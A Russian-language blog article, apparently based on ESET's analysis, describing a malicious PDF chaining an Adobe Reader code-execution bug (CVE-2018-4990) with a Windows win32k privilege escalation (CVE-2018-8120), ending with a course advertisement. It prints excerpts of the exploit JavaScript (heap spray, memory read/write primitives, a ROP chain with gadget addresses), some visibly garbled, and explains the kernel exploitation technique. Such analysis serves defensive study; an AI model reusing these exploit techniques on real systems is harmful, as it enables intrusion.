0-day уязвимости в Microsoft Windows и Adobe Reader

В этой статье я хотел бы рассказать о двух необычных уязвимостях, которые были обнаружены специалистами ESET весной 2018 года. Несмотря на то, что прошло уже более года, данные уязвимости заслуживают самого пристального внимания, так как представляют собой комбинацию двух 0-day.

Всё началось с того, что инженеры из антивирусной лаборатории нашли необычный вредоносный PDF-файл. Рассмотрев его ближе, они выяснили, что в нём применяются 2 ранее неизвестные уязвимости: уязвимость повышения привилегий в Microsoft Windows (LPE) и уязвимость удалённого выполнения кода в Adobe Reader (RCE).

Сама по себе комбинация двух 0-day достаточно опасна, так как позволяет злоумышленникам выполнять произвольный код с минимальным участием пользователя и с максимальными привилегиями.

После обнаружения вредоносного PDF инженеры ESET связались с представителями Microsoft и Adobe для закрытия уязвимостей. В результате были выпущены соответствующие патчи: • APSB18-09; • CVE-2018-8120. Но нас больше интересует техническое описание уязвимостей и вредоносного образца.

Введение

Вирусным аналитикам хорошо известно, что PDF-файлы нередко применяются для доставки вредоносного ПО на целевой компьютер. Но для выполнения данного кода злоумышленникам ещё нужно найти и воспользоваться уязвимостью в софте для просмотра PDF. Наиболее популярная программа — Adobe Reader.

Как известно, в неё внедрена технология изолированного выполнения, которую называют песочницей — Protected Mode (детально описание смотрите в блоге Adobe). Песочница усложняет атаку, поэтому даже если вредоносный код будет выполнен, атакующему ещё понадобится обойти защиту песочницы. Обычно для обхода песочницы используют уязвимости непосредственно в операционной системе, установленной на ПК.

Таким образом, мы с вами сейчас рассмотрим тот редкий случай, когда хакерам удалось найти уязвимости и написать эксплойты как для Adobe Reader, так и для операционной системы.

RCE-уязвимость в Adobe Reader (CVE-2018-4990)

Вредоносный PDF-файл имеет встроенный JS-код, который управляет всем процессом и выполняется после открытия PDF. В самом начале код JavaScript манипулирует объектом Button1. Данный объект содержит специальное изображение JPEG2000, запускающее двойную уязвимость.

function myfun1()

{
var array2 = new Array(@x20@);
for(var i1=1;11<@x200;i1++)
{
array2[il] = new Uint32Array(25@);
}
var f1 = this.getField("Button1");
if(f1)
{
    f1.display = display.visible;
}
var sto2 = app.setTimeOut("myfun2()",250);

}

JavaScript манипулирует объектом Button

В коде JavaScript используется техника heap-spraying, что необходимо для того, чтобы нарушить внутренние структуры данных. В результате этих манипуляций злоумышленники достигают своё главной цели, которая заключается в получении доступа к памяти с правами на чтение и запись.

function myread(addr)
{
mydv.setUint32(mypos,addr,true);
var res = myarray[0];
mydv.setUint32(mypos,myarraybase,true);
return res;
}
function mywrite(addr,value)
{
mydv.setUint32(mypos,addr,true);
myarray[0] = value ;
mydv. setUint32(mypos,myarraybase,true);
}

JavaScript-код для чтения и записи памяти

Используя 2 примитива, хакеры находят адрес памяти плагина EScript.api, а ведь он является движком Adobe JavaScript. С помощью ROP-гаджетов из данного модуля вредоносный JavaScript устанавливает ROP-цепочку, которая в итоге и приводит к выполнению нативного шеллкода.

mydv = biga;
var itmp = mydv.getUint32(i2+12,true);
myarray = arr1[itmp];
mypos = biga.getUint32(i2+4,true) - spraypos +0x50;
mydv.setUint32(mypos-0x10,0x100000,true);
myarraybase = mydv.getUint32(mypos,true);
var rop1 = [0x6b78845b,0x6b78845b,0x6b78845a,0x6b7d7084,0x6b651767,0x6b64230d,myarrabase,0x6b65ecaf,0x6b663a4b,myarrabase,0x00010201,0x00001000,0x00000040,0xcccccccc,0x41414141];
var obj1 = myread(myarraybase-8);
var obj2 = myread(obj1+4);
var obj3 = myread(obj2);
var dll_base = (myread(obj3+8)-0x00010000 )&0xffff0000;
var bkm = this.bookmarkRoot;
var objescript = 0x23A59B4-0x23800000 + dll_base;
objescript = myread(objescript);
for(var i2=0;i2< rop1.length ; i2=i2=1)
{
myarray[i2+3] = rop1[i2] > 0x6b640000 ?(rop1[i2] - 0x6b640000 +dll_base):rop1[i2];
}
myarray[i2+3-2] = dlldata[i3];
}
mywrite(objescript, 0x6b707d06-0x6b640000+dll_base);
mywrite(objescript+4,myarraybase);
mywrite(objescript+0x598,0x6b68389f-0x6b640000+dll_base);
bkm.execute();
break;

Вредоносный JavaScript устанавливает ROP-цепочку

После этого шеллкод инициализирует PE-файл, который встроен в PDF, а потом передаёт ему выполнение.

Повышение привилегий в Microsoft Windows (CVE-2018-8120)

Что же, как эксплуатируется уязвимость Adobe Reader, мы уже выяснили. Но теперь злоумышленнику нужно избавиться от песочницы. В этом-то и заключается задача второго эксплойта.

Тут используется ранее неизвестная уязвимость, в основе которой лежит функция NtUserSetImeInfoEx компонента ядра Windows win32k. В данном случае SetImeInfoEx (подпрограмма NtUserSetImeInfoEx) не выполняет проверку указателя данных, что и даёт возможность разыменовать нулевой указатель NULL.

Дизассемблированная функция SetImeInfoEx

На рисунке видно, что функция SetImeInfoEx ждёт указатель на инициализированный объект WINDOWSTATION в качестве 1-го аргумента. При этом SpklList может стать равным нулю, если хакер создаст новый WS-объект и присвоит его текущему процессу в пользовательском режиме. В свою очередь, установка указателя на смещение (offset) 0x2C и маппинг нулевой страницы позволят атакующему воспользоваться уязвимостью для записи на произвольный адрес в пространстве ядра.

Так как у злоумышленников имеется произвольный пишущий примитив, они вправе использовать разные техники. Однако в нашем случае они выбирают технику, описанную здесь и здесь. Атакующие устанавливают шлюз вызова в Ring 0 и перезаписывают глобальную таблицу дескрипторов (GDT). Для этого они получают адрес исходной GDT с помощью инструкции по сборке SGDT, потом формируют собственную таблицу и перезаписывают оригинал, применяя упомянутую зависимость.

Для вызова уровня привилегий эксплойт применяет команду CALL FAR .

Дизассемблированная команда CALL FAR

А когда код выполняется в режиме ядра, происходит замена токена текущего процесса системным токеном.

Индикаторы компрометации (IoC) следующие:

Детектирование продуктами ESET: — JS/Exploit.Pdfka.QNV trojan; — Win32/Exploit.CVE-2018-8120.A trojan.

SHA-1: — C82CFEAD292EECA601D3CF82C8C5340CB579D1C6; — 0D3F335CCCA4575593054446F5F219EBA6CD93FE.

Делаем выводы

Вредоносный PDF был обнаружен на ранних стадиях разработки, когда его загрузили в публичный репозиторий. Однако следует отметить, что злоумышленники продемонстрировали достаточно высокую квалификацию в сфере написания эксплойтов и области поиска уязвимостей. Это значит, что для устранения нынешних угроз безопасности современный вирусный аналитик должен быть всегда на голову выше. Если вы хотите двигаться в этом направлении и получить нужные навыки, записывайтесь на курс «Реверс-инжиниринг» в OTUS!

Есть вопрос? Напишите в комментариях!